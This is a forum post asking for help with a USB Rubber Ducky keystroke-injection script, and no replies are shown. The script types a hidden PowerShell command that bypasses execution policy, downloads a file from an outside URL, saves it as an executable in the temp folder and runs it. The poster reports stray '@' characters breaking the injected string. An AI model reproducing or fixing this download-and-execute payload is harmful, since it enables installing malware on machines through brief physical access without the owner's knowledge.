Jump to content

Ducky USB - Script adding @ after STRING

Recommended Posts

I currently have a ducky USB inject.bin encoded with https://ducktoolkit.com/
containing the following code (Modified):

DELAY 2000
STRING powershell -NoP -NonI -W Hidden -Exec Bypass "IEX (New-Object System.Net.WebClient).DownloadFile('http:/url.org/sub/file.zip',\"$env:temp\file.exe\"); Start-Process \"$env:temp\file.exe\""

This code is from the GitHub and it should download and execute.
When I execute the code manually it works normal.
But when I run it from the Ducky USB it doesn't...
When its in the Windows Run box I see that after the STRING is typed there are @ @ entered after the string.
I think this is the problem and I don't know how I could fix this.

Could you please help me.

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Recently Browsing   0 members

    • No registered users viewing this page.
  • Create New...